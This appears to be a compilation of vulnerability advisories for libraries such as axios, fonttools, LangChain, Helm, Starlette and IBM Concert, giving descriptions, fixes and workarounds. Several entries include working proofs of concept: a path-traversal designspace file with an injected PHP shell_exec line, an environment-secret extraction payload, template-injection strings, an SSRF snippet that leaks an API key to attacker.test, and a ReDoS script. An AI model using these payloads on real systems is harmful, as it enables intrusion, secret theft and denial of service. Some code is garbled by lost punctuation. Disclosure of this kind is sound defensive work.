In axios before 1.7.8, lib/helpers/isURLSameOrigin.js does not use a URL object when determining an origin, and has a potentially unwanted setAttribute('href',href) call. NOTE: some parties feel that the code change only addresses a warning message from a SAST tool and does not fix a vulnerability.

The expr-eval library is a JavaScript expression parser and evaluator designed to safely evaluate mathematical expressions with user-defined variables. However, due to insufficient input validation, an attacker can pass a crafted context object or use MEMBER of the context object into the evaluate() function and trigger arbitrary code execution.

Summary

The fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main().

The vulnerability exists due to unsanitised filename handling combined with content injection. Attackers can write files to arbitrary filesystem locations via path traversal sequences, and inject malicious code (like PHP) into the output files through XML injection in labelname elements. When these files are placed in web-accessible locations and executed, this achieves remote code execution without requiring any elevated privileges. Once RCE is obtained, attackers can further escalate privileges to compromise system files (like overwriting /etc/passwd).

Overall this allows attackers to: - Write font files to arbitrary locations on the filesystem - Overwrite configuration files - Corrupt application files and dependencies - Obtain remote code execution

The attacker controls the file location, extension and contents which could lead to remote code execution as well as enabling a denial of service through file corruption means.

Affected Lines

fontTools/varLib/init.py python filename = vf.filename # Unsanitised filename outputpath = os.path.join(outputdir, filename) # Path traversal vf.save(outputpath) # Arbitrary file write

PoC 1. Set up malicious.designspace and respective source-.ttf files in a directory like /Users/<username>/testing/demo/ (will impact relative file location within malicious.designspace)

setup.py python #!/usr/bin/env python3 import os

from fontTools.fontBuilder import FontBuilder from fontTools.pens.ttGlyphPen import TTGlyphPen

def createsourcefont(filename, weight=400): fb = FontBuilder(unitsPerEm=1000, isTTF=True) fb.setupGlyphOrder([".notdef"]) fb.setupCharacterMap({}) pen = TTGlyphPen(None) pen.moveTo((0, 0)) pen.lineTo((500, 0)) pen.lineTo((500, 500)) pen.lineTo((0, 500)) pen.closePath() fb.setupGlyf({".notdef": pen.glyph()}) fb.setupHorizontalMetrics({".notdef": (500, 0)}) fb.setupHorizontalHeader(ascent=800, descent=-200) fb.setupOS2(usWeightClass=weight) fb.setupPost() fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"}) fb.save(filename)

if name == 'main': os.chdir(os.path.dirname(os.path.abspath(file))) createsourcefont("source-light.ttf", weight=100) createsourcefont("source-regular.ttf", weight=400)

malicious.designspace xml <?xml version='1.0' encoding='UTF-8'?> <designspace format="5.0"> <axes> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/> </axes> <sources> <source filename="source-light.ttf" name="Light"> <location> <dimension name="Weight" xvalue="100"/> </location> </source> <source filename="source-regular.ttf" name="Regular"> <location> <dimension name="Weight" xvalue="400"/> </location> </source> </sources> <!-- Filename can be arbitrarily set to any path on the filesystem --> <variable-fonts> <variable-font name="MaliciousFont" filename="../../tmp/newarbitraryfile.json"> <axis-subsets> <axis-subset name="Weight"/> </axis-subsets> </variable-font> </variable-fonts> </designspace>

Optional: You can put a file with any material within ../../tmp/newarbitraryfile.json in advance, the contents in the file will be overwritten after running the setup script in the following step.

2. Run the setup.py script to generate source-.tff files required for the malicious.designspace file. bash python3 setup.py 3. Execute the given payload using the vulnerable varLib saving the file into the arbitrary file location of filename bash fonttools varLib malicious.designspace 4. Validate arbitrary file write was performed by looking at path assigned within malicious designspace bash cat {{filenamelocation}} 5. After validating that we can provide arbitrary write to any location, we can also validate that we can control sections of content as well demonstrated with the below payload.

malicious2.designspace xml <?xml version='1.0' encoding='UTF-8'?> <designspace format="5.0"> <axes> <!-- XML injection occurs in labelname elements with CDATA sections --> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"> <labelname xml:lang="en"><![CDATA[<?php echo shellexec("/usr/bin/touch /tmp/MEOW123");?>]]]]><![CDATA[>]]></labelname> <labelname xml:lang="fr">MEOW2</labelname> </axis> </axes> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/> <sources> <source filename="source-light.ttf" name="Light"> <location> <dimension name="Weight" xvalue="100"/> </location> </source> <source filename="source-regular.ttf" name="Regular"> <location> <dimension name="Weight" xvalue="400"/> </location> </source> </sources> <variable-fonts> <variable-font name="MyFont" filename="output.ttf"> <axis-subsets> <axis-subset name="Weight"/> </axis-subsets> </variable-font> </variable-fonts> <instances> <instance name="Display Thin" familyname="MyFont" stylename="Thin"> <location><dimension name="Weight" xvalue="100"/></location> <labelname xml:lang="en">Display Thin</labelname> </instance> </instances> </designspace>

6. When the program is run, we can show we control the contents in the new file bash fonttools varLib malicious2.designspace -o file123 Here being outputted to a localised area ignoring filename presented in variable-font

7. We can look inside file123 to validate user controlled injection bash cat file123 to show <?php echo shellexec("/usr/bin/touch /tmp/MEOW123");?>]]>

8. Executing the file and reading looking at the newly generated file bash php file123 ls -la /tmp/MEOW123 we can see that the file was just created showing RCE.

Recommendations

- Ensure output file paths configured within designspace files are restricted to the local directory or consider further security measures to prevent arbitrary file write/overwrite within any directory on the system

IBM Concert 1.0.0 through 2.1.0 could allow a remote attacker to obtain sensitive information or perform unauthorized actions due to the use of hard coded user credentials.

DISPUTED pandas through 1.0.3 can unserialize and execute commands from an untrusted file that is passed to the readpickle() function, if reduce makes an os.system call. NOTE: third parties dispute this issue because the readpickle() function is documented as unsafe and it is the user's responsibility to use the function in a secure manner.

Applications and libraries which misuse connection.serverAuthenticate (via callback field ServerConfig.PublicKeyCallback) may be susceptible to an authorization bypass. The documentation for ServerConfig.PublicKeyCallback says that "A call to this function does not guarantee that the key offered is in fact used to authenticate." Specifically, the SSH protocol allows clients to inquire about whether a public key is acceptable before proving control of the corresponding private key. PublicKeyCallback may be called with multiple keys, and the order in which the keys were provided cannot be used to infer which key the client successfully authenticated with, if any. Some applications, which store the key(s) passed to PublicKeyCallback (or derived information) and make security relevant determinations based on it once the connection is established, may make incorrect assumptions. For example, an attacker may send public keys A and B, and then authenticate with A. PublicKeyCallback would be called only twice, first with A and then with B. A vulnerable application may then make authorization decisions based on key B for which the attacker does not actually control the private key. Since this API is widely misused, as a partial mitigation golang.org/x/cry...@v0.31.0 enforces the property that, when successfully authenticating via public key, the last key passed to ServerConfig.PublicKeyCallback will be the key used to authenticate the connection. PublicKeyCallback will now be called multiple times with the same key, if necessary. Note that the client may still not control the last key passed to PublicKeyCallback if the connection is then authenticated with a different method, such as PasswordCallback, KeyboardInteractiveCallback, or NoClientAuth. Users should be using the Extensions field of the Permissions return value from the various authentication callbacks to record data associated with the authentication attempt instead of referencing external state. Once the connection is established the state corresponding to the successful authentication attempt can be retrieved via the ServerConn.Permissions field. Note that some third-party libraries misuse the Permissions type by sharing it across authentication attempts; users of third-party libraries should refer to the relevant projects for guidance.

Request smuggling due to acceptance of invalid chunked data in net/http

Context

A serialization injection vulnerability exists in LangChain JS's toJSON() method (and subsequently when string-ifying objects using JSON.stringify(). The method did not escape objects with 'lc' keys when serializing free-form data in kwargs. The 'lc' key is used internally by LangChain to mark serialized objects. When user-controlled data contains this key structure, it is treated as a legitimate LangChain object during deserialization rather than plain user data.

Attack surface

The core vulnerability was in Serializable.toJSON(): this method failed to escape user-controlled objects containing 'lc' keys within kwargs (e.g., additionalkwargs, metadata, responsemetadata). When this unescaped data was later deserialized via load(), the injected structures were treated as legitimate LangChain objects rather than plain user data.

This escaping bug enabled several attack vectors:

1. Injection via user data: Malicious LangChain object structures could be injected through user-controlled fields like metadata, additionalkwargs, or responsemetadata 2. Secret extraction: Injected secret structures could extract environment variables when secretsFromEnv was enabled (which had no explicit default, effectively defaulting to true behavior) 3. Class instantiation via import maps: Injected constructor structures could instantiate any class available in the provided import maps with attacker-controlled parameters

Note on import maps: Classes must be explicitly included in import maps to be instantiatable. The core import map includes standard types (messages, prompts, documents), and users can extend this via importMap and optionalImportsMap options. This architecture naturally limits the attack surface—an allowedObjects parameter is not necessary because users control which classes are available through the import maps they provide.

Security hardening: This patch fixes the escaping bug in toJSON() and introduces new restrictive defaults in load(): secretsFromEnv now explicitly defaults to false, and a maxDepth parameter protects against DoS via deeply nested structures. JSDoc security warnings have been added to all import map options.

Who is affected?

Applications are vulnerable if they:

1. Serialize untrusted data via JSON.stringify() on Serializable objects, then deserialize with load() — Trusting your own serialization output makes you vulnerable if user-controlled data (e.g., from LLM responses, metadata fields, or user inputs) contains 'lc' key structures. 2. Deserialize untrusted data with load() — Directly deserializing untrusted data that may contain injected 'lc' structures. 3. Use LangGraph checkpoints — Checkpoint serialization/deserialization paths may be affected.

The most common attack vector is through LLM response fields like additionalkwargs or responsemetadata, which can be controlled via prompt injection and then serialized/deserialized in streaming operations.

Impact

Attackers who control serialized data can extract environment variable secrets by injecting {"lc": 1, "type": "secret", "id": ["ENVVAR"]} to load environment variables during deserialization (when secretsFromEnv: true). They can also instantiate classes with controlled parameters by injecting constructor structures to instantiate any class within the provided import maps with attacker-controlled parameters, potentially triggering side effects such as network calls or file operations.

Key severity factors:

- Affects the serialization path—applications trusting their own serialization output are vulnerable - Enables secret extraction when combined with secretsFromEnv: true - LLM responses in additionalkwargs can be controlled via prompt injection

Exploit example

typescript import { load } from "@langchain/core/load";

// Attacker injects secret structure into user-controlled data const attackerPayload = JSON.stringify({ userdata: { lc: 1, type: "secret", id: ["OPENAIAPIKEY"], }, });

process.env.OPENAIAPIKEY = "sk-secret-key-12345";

// With secretsFromEnv: true, the secret is extracted const deserialized = await load(attackerPayload, { secretsFromEnv: true });

console.log(deserialized.userdata); // "sk-secret-key-12345" - SECRET LEAKED!

Security hardening changes

This patch introduces the following changes to load():

1. secretsFromEnv default changed to false: Disables automatic secret loading from environment variables. Secrets not found in secretsMap now throw an error instead of being loaded from process.env. This fail-safe behavior ensures missing secrets are caught immediately rather than silently continuing with null. 2. New maxDepth parameter (defaults to 50): Protects against denial-of-service attacks via deeply nested JSON structures that could cause stack overflow. 3. Escape mechanism in toJSON(): User-controlled objects containing 'lc' keys are now wrapped in {"lcescaped": {...}} during serialization and unwrapped as plain data during deserialization. 4. JSDoc security warnings: All import map options (importMap, optionalImportsMap, optionalImportEntrypoints) now include security warnings about never populating them from user input.

Migration guide

No changes needed for most users

If you're deserializing standard LangChain types (messages, documents, prompts) using the core import map, your code will work without changes:

typescript import { load } from "@langchain/core/load";

// Works with default settings const obj = await load(serializedData);

For secrets from environment

secretsFromEnv now defaults to false, and missing secrets throw an error. If you need to load secrets:

typescript import { load } from "@langchain/core/load";

// Provide secrets explicitly (recommended) const obj = await load(serializedData, { secretsMap: { OPENAIAPIKEY: process.env.OPENAIAPIKEY }, });

// Or explicitly opt-in to load from env (only use with trusted data) const obj = await load(serializedData, { secretsFromEnv: true });

Warning: Only enable secretsFromEnv if you trust the serialized data. Untrusted data could extract any environment variable.

Note: If a secret reference is encountered but not found in secretsMap (and secretsFromEnv is false or the secret is not in the environment), an error is thrown. This fail-safe behavior ensures you're aware of missing secrets rather than silently receiving null values.

For deeply nested structures

If you have legitimate deeply nested data that exceeds the default depth limit of 50:

typescript import { load } from "@langchain/core/load";

const obj = await load(serializedData, { maxDepth: 100 });

For custom import maps

If you provide custom import maps, ensure they only contain trusted modules:

typescript import { load } from "@langchain/core/load"; import as myModule from "./my-trusted-module";

// GOOD - explicitly include only trusted modules const obj = await load(serializedData, { importMap: { mymodule: myModule }, });

// BAD - never populate from user input const obj = await load(serializedData, { importMap: userProvidedImports, // DANGEROUS! });

IBM Concert 1.0.0 through 2.1.0 is vulnerable to malicious file upload by not validating the content of the file uploaded to the web interface.

Impact v3.1.0, v2.1.3, v1.16.5 and below

Patches Has been patched in 3.1.1, 2.1.4, and 1.16.6

Workarounds You can use the ignore option to ignore non files/directories.

js ignore (, header) { // pass files & directories, ignore e.g. symlinks return header.type !== 'file' && header.type !== 'directory' }

Credit Reported by: Mapta / BugBunnyai

A Helm contributor discovered that a specially crafted Chart.yaml file along with a specially linked Chart.lock file can lead to local code execution when dependencies are updated.

Impact

Fields in a Chart.yaml file, that are carried over to a Chart.lock file when dependencies are updated and this file is written, can be crafted in a way that can cause execution if that same content were in a file that is executed (e.g., a bash.rc file or shell script). If the Chart.lock file is symlinked to one of these files updating dependencies will write the lock file content to the symlinked file. This can lead to unwanted execution. Helm warns of the symlinked file but did not stop execution due to symlinking.

This affects when dependencies are updated. When using the helm command this happens when helm dependency update is run. helm dependency build can write a lock file when one does not exist but this vector requires one to already exist. This affects the Helm SDK when the downloader Manager performs an update.

Patches

This issue has been resolved in Helm v3.18.4

Workarounds

Ensure the Chart.lock file in a chart is not a symlink prior to updating dependencies.

For more information

Helm's security policy is spelled out in detail in our SECURITY document.

Credits

Disclosed by Jakub Ciolek at AlphaSense.

Context

A template injection vulnerability exists in LangChain's prompt template system that allows attackers to access Python object internals through template syntax. This vulnerability affects applications that accept untrusted template strings (not just template variables) in ChatPromptTemplate and related prompt template classes.

Templates allow attribute access (.) and indexing ([]) but not method invocation (()).

The combination of attribute access and indexing may enable exploitation depending on which objects are passed to templates. When template variables are simple strings (the common case), the impact is limited. However, when using MessagesPlaceholder with chat message objects, attackers can traverse through object attributes and dictionary lookups (e.g., globals) to reach sensitive data such as environment variables.

The vulnerability specifically requires that applications accept template strings (the structure) from untrusted sources, not just template variables (the data). Most applications either do not use templates or else use hardcoded templates and are not vulnerable.

Affected Components

- langchain-core package - Template formats: - F-string templates (templateformat="f-string") - Vulnerability fixed - Mustache templates (templateformat="mustache") - Defensive hardening - Jinja2 templates (templateformat="jinja2") - Defensive hardening

Impact Attackers who can control template strings (not just template variables) can: - Access Python object attributes and internal properties via attribute traversal - Extract sensitive information from object internals (e.g., class, globals) - Potentially escalate to more severe attacks depending on the objects passed to templates

Attack Vectors

1. F-string Template Injection Before Fix: python from langchaincore.prompts import ChatPromptTemplate

malicioustemplate = ChatPromptTemplate.frommessages( [("human", "{msg.class.name}")], templateformat="f-string" )

Note that this requires passing a placeholder variable for "msg.class.name". result = malicioustemplate.invoke({"msg": "foo", "msg.class.name": "safeplaceholder"}) Previously returned >> result.messages[0].content >> 'str'

2. Mustache Template Injection Before Fix: python from langchaincore.prompts import ChatPromptTemplate from langchaincore.messages import HumanMessage

msg = HumanMessage("Hello")

Attacker controls the template string malicioustemplate = ChatPromptTemplate.frommessages( [("human", "{{question.class.name}}")], templateformat="mustache" )

result = malicioustemplate.invoke({"question": msg}) Previously returned: "HumanMessage" (getattr() exposed internals)

3. Jinja2 Template Injection Before Fix: python from langchaincore.prompts import ChatPromptTemplate from langchaincore.messages import HumanMessage

msg = HumanMessage("Hello")

Attacker controls the template string malicioustemplate = ChatPromptTemplate.frommessages( [("human", "{{question.parseraw}}")], templateformat="jinja2" )

result = malicioustemplate.invoke({"question": msg}) Could access non-dunder attributes/methods on objects

Root Cause

1. F-string templates: The implementation used Python's string.Formatter().parse() to extract variable names from template strings. This method returns the complete field expression, including attribute access syntax: python from string import Formatter

template = "{msg.class} and {x}" print([varname for (, varname, , ) in Formatter().parse(template)]) # Returns: ['msg.class', 'x'] The extracted names were not validated to ensure they were simple identifiers. As a result, template strings containing attribute traversal and indexing expressions (e.g., {obj.class.name} or {obj.method.globals[os]}) were accepted and subsequently evaluated during formatting. While f-string templates do not support method calls with (), they do support [] indexing, which could allow traversal through dictionaries like globals to reach sensitive objects. 2. Mustache templates: By design, used getattr() as a fallback to support accessing attributes on objects (e.g., {{user.name}} on a User object). However, we decided to restrict this to simpler primitives that subclass dict, list, and tuple types as defensive hardening, since untrusted templates could exploit attribute access to reach internal properties like class on arbitrary objects 3. Jinja2 templates: Jinja2's default SandboxedEnvironment blocks dunder attributes (e.g., class) but permits access to other attributes and methods on objects. While Jinja2 templates in LangChain are typically used with trusted template strings, as a defense-in-depth measure, we've restricted the environment to block all attribute and method access on objects passed to templates.

Who Is Affected?

High Risk Scenarios You are affected if your application: - Accepts template strings from untrusted sources (user input, external APIs, databases) - Dynamically constructs prompt templates based on user-provided patterns - Allows users to customize or create prompt templates

Example vulnerable code: python User controls the template string itself usertemplatestring = request.json.get("template") # DANGEROUS

prompt = ChatPromptTemplate.frommessages( [("human", usertemplatestring)], templateformat="mustache" )

result = prompt.invoke({"data": sensitiveobject})

Low/No Risk Scenarios You are NOT affected if: - Template strings are hardcoded in your application code - Template strings come only from trusted, controlled sources - Users can only provide values for template variables, not the template structure itself

Example safe code: python Template is hardcoded - users only control variables prompt = ChatPromptTemplate.frommessages( [("human", "User question: {question}")], # SAFE templateformat="f-string" )

User input only fills the 'question' variable result = prompt.invoke({"question": userinput})

The Fix

F-string Templates F-string templates had a clear vulnerability where attribute access syntax was exploitable. We've added strict validation to prevent this:

- Added validation to enforce that variable names must be valid Python identifiers - Rejects syntax like {obj.attr}, {obj[0]}, or {obj.class} - Only allows simple variable names: {variablename}

python After fix - these are rejected at template creation time ChatPromptTemplate.frommessages( [("human", "{msg.class}")], # ValueError: Invalid variable name templateformat="f-string" )

Mustache Templates (Defensive Hardening) As defensive hardening, we've restricted what Mustache templates support to reduce the attack surface:

- Replaced getattr() fallback with strict type checking - Only allows traversal into dict, list, and tuple types - Blocks attribute access on arbitrary Python objects

python After hardening - attribute access returns empty string prompt = ChatPromptTemplate.frommessages( [("human", "{{msg.class}}")], templateformat="mustache" ) result = prompt.invoke({"msg": HumanMessage("test")}) Returns: "" (access blocked)

Jinja2 Templates (Defensive Hardening) As defensive hardening, we've significantly restricted Jinja2 template capabilities:

- Introduced RestrictedSandboxedEnvironment that blocks ALL attribute/method access - Only allows simple variable lookups from the context dictionary - Raises SecurityError on any attribute access attempt

python After hardening - all attribute access is blocked prompt = ChatPromptTemplate.frommessages( [("human", "{{msg.content}}")], templateformat="jinja2" ) Raises SecurityError: Access to attributes is not allowed

Important Recommendation: Due to the expressiveness of Jinja2 and the difficulty of fully sandboxing it, we recommend reserving Jinja2 templates for trusted sources only. If you need to accept template strings from untrusted users, use f-string or mustache templates with the new restrictions instead.

While we've hardened the Jinja2 implementation, the nature of templating engines makes comprehensive sandboxing challenging. The safest approach is to only use Jinja2 templates when you control the template source.

Important Reminder: Many applications do not need prompt templates. Templates are useful for variable substitution and dynamic logic (if statements, loops, conditionals). However, if you're building a chatbot or conversational application, you can often work directly with message objects (e.g., HumanMessage, AIMessage, ToolMessage) without templates. Direct message construction avoids template-related security concerns entirely.

Remediation

Immediate Actions

1. Audit your code for any locations where template strings come from untrusted sources 2. Update to the patched version of langchain-core 3. Review template usage to ensure separation between template structure and user data

Best Practices

- Consider if you need templates at all - Many applications can work directly with message objects (HumanMessage, AIMessage, etc.) without templates - Reserve Jinja2 for trusted sources - Only use Jinja2 templates when you fully control the template content

A flaw was found in Keycloak. By setting a verification policy to 'ALL', the trust store certificate verification is skipped, which is unintended.

Impact When the PostgreSQL JDBC driver is configured with channel binding set to required (default value is prefer), the driver would incorrectly allow connections to proceed with authentication methods that do not support channel binding (such as password, MD5, GSS, or SSPI authentication). This could allow a man-in-the-middle attacker to intercept connections that users believed were protected by channel binding requirements.

Patches TBD

Workarounds

Configure sslMode=verify-full to prevent MITM attacks.

References

https://www.postgresql.org/docs/current/sasl-authentication.html#SASL-SCRAM-SHA-256 https://datatracker.ietf.org/doc/html/rfc7677 https://datatracker.ietf.org/doc/html/rfc5802

cdbattags lua-resty-jwt 0.2.3 allows attackers to bypass all JWT-parsing signature checks by crafting a JWT with an enc header with the value A256GCM.

IBM Concert 1.0.0 through 2.1.0 is vulnerable to a stack-based buffer overflow, caused by improper bounds checking. A local user could overflow the buffer and execute arbitrary code on the system.

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

js import axios from "axios";

const internalAPIClient = axios.create({ baseURL: "http://example.test/api/v1/users/", headers: { "X-API-KEY": "1234567890", }, });

// const userId = "123"; const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

- When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL. - Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

1. Set up two simple HTTP servers:

mkdir /tmp/server1 /tmp/server2 echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html python -m http.server -d /tmp/server1 10001 & python -m http.server -d /tmp/server2 10002 &

2. Create a script (e.g., main.js):

js import axios from "axios"; const client = axios.create({ baseURL: "http://localhost:10001/" }); const response = await client.get("http://localhost:10002/"); console.log(response.data);

3. Run the script:

$ node main.js this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

- Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed. - SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running. - Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

IBM Concert 1.0.0 through 2.1.0 could allow a local user to escalate their privileges due to a race condition of a symbolic link.

A flaw was found in the OpenShift build process, where the docker-build container is configured with a hostPath volume mount that maps the node's /var/lib/kubelet/config.json file into the build pod. This file contains sensitive credentials necessary for pulling images from private repositories. The mount is not read-only, which allows the attacker to overwrite it. By modifying the config.json file, the attacker can cause a denial of service by preventing the node from pulling new images and potentially exfiltrating sensitive secrets. This flaw impacts the availability of services dependent on image pulls and exposes sensitive information to unauthorized parties.

Last updated 9 July 2026

A null pointer dereference vulnerability was discovered in the libxml2. The issue occurs in the xmlSchematronFormatReport function when processing incorrect XPath expressions in Schematron schema reports, leading to undefined behavior and potential crashes.

HashiCorp's go-getter library subdirectory download feature is vulnerable to symlink attacks leading to unauthorized read access beyond the designated directory boundaries. This vulnerability, identified as CVE-2025-8959, is fixed in go-getter 1.7.9.

The langchain-ai/langchain project, specifically the EverNoteLoader component, is vulnerable to XML External Entity (XXE) attacks due to insecure XML parsing. The affected version is 0.3.63. The vulnerability arises from the use of etree.iterparse() without disabling external entity references, which can lead to sensitive information disclosure. An attacker could exploit this by crafting a malicious XML payload that references local files, potentially exposing sensitive data such as /etc/passwd.

The HTMLSectionSplitter class in langchain-text-splitters is vulnerable to XML External Entity (XXE) attacks due to unsafe XSLT parsing. This vulnerability arises because the class allows the use of arbitrary XSLT stylesheets, which are parsed using lxml.etree.parse() and lxml.etree.XSLT() without any hardening measures. In lxml versions up to 4.9.x, external entities are resolved by default, allowing attackers to read arbitrary local files or perform outbound HTTP(S) fetches. In lxml versions 5.0 and above, while entity expansion is disabled, the XSLT document() function can still read any URI unless XSLTAccessControl is applied. This vulnerability allows remote attackers to gain read-only access to any file the LangChain process can reach, including sensitive files such as SSH keys, environment files, source code, or cloud metadata. No authentication, special privileges, or user interaction are required, and the issue is exploitable in default deployments that enable custom XSLT.

Summary An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).

Details Starlette parses multi-range requests in FileResponse.parserangeheader(), then merges ranges using an O(n^2) algorithm.

python starlette/responses.py RANGEPATTERN = re.compile(r"(\d)-(\d)") # vulnerable to O(n^2) complexity ReDoS

class FileResponse(Response): @staticmethod def parserangeheader(httprange: str, filesize: int) -> list[tuple[int, int]]: ranges: list[tuple[int, int]] = [] try: units, range = httprange.split("=", 1) except ValueError: raise MalformedRangeHeader()

# [...]

ranges = [ ( int([0]) if [0] else filesize - int([1]), int([1]) + 1 if [0] and [1] and int([1]) < filesize else filesize, ) for in RANGEPATTERN.findall(range) # vulnerable if != ("", "") ]

The parsing loop of FileResponse.parserangeheader() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.

The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.

This affects any Starlette application that uses:

- starlette.staticfiles.StaticFiles (internally returns FileResponse) — starlette/staticfiles.py:178 - Direct starlette.responses.FileResponse responses

PoC python #!/usr/bin/env python3

import sys import time

try: import starlette from starlette.responses import FileResponse except Exception as e: print(f"[ERROR] Failed to import starlette: {e}") sys.exit(1)

def buildpayload(length: int) -> str: """Build the Range header value body: '0' numzeros + '0-'""" return ("0" length) + "a-"

def test(header: str, filesize: int) -> float: start = time.perfcounter() try: FileResponse.parserangeheader(header, filesize) except Exception: pass end = time.perfcounter() elapsed = end - start return elapsed

def runonce(numzeros: int) -> None: rangebody = buildpayload(numzeros) header = "bytes=" + rangebody # Use a sufficiently large filesize so upper bounds default to file size filesize = max(len(rangebody) + 10, 1000000) print(f"[DEBUG] rangebody length: {len(rangebody)} bytes") elapsedtime = test(header, filesize) print(f"[DEBUG] elapsed time: {elapsedtime:.6f} seconds\n")

if name == "main": print(f"[INFO] Starlette Version: {starlette.version}") for n in [5000, 10000, 20000, 40000]: runonce(n)

""" $ python3 pocdosrange.py [INFO] Starlette Version: 0.48.0 [DEBUG] rangebody length: 5002 bytes [DEBUG] elapsed time: 0.053932 seconds

[DEBUG] rangebody length: 10002 bytes [DEBUG] elapsed time: 0.209770 seconds

[DEBUG] rangebody length: 20002 bytes [DEBUG] elapsed time: 0.885296 seconds

[DEBUG] rangebody length: 40002 bytes [DEBUG] elapsed time: 3.238832 seconds """

Impact Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.

Brotli versions up to 1.1.0 are vulnerable to a denial of service (DoS) attack due to decompression. This issue has been patched in Brotli version 1.2.0.

Additionally, this affects users who implement the Brotli decompression with Scrapy versions up to 2.13.2, leaving them vulnerable to a denial of service (DoS) attack. The protection mechanism against decompression bombs fails to mitigate the brotli variant, allowing remote servers to crash clients with less than 80GB of available memory. This occurs because brotli can achieve extremely high compression ratios for zero-filled data, leading to excessive memory consumption during decompression.

IBM Concert 1.0.0 through 2.1.0 could allow a remote attacker to obtain sensitive information from allocated memory due to improper clearing of heap memory.

IBM Concert 1.0.0 through 2.1.0 could allow a remote attacker to obtain sensitive information from allocated memory due to improper clearing of heap memory.

IBM Concert 1.0.0 through 2.1.0 could allow a remote attacker to obtain sensitive information from allocated memory due to improper clearing of heap memory.

IBM Concert 1.0.0 through 2.1.0 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information.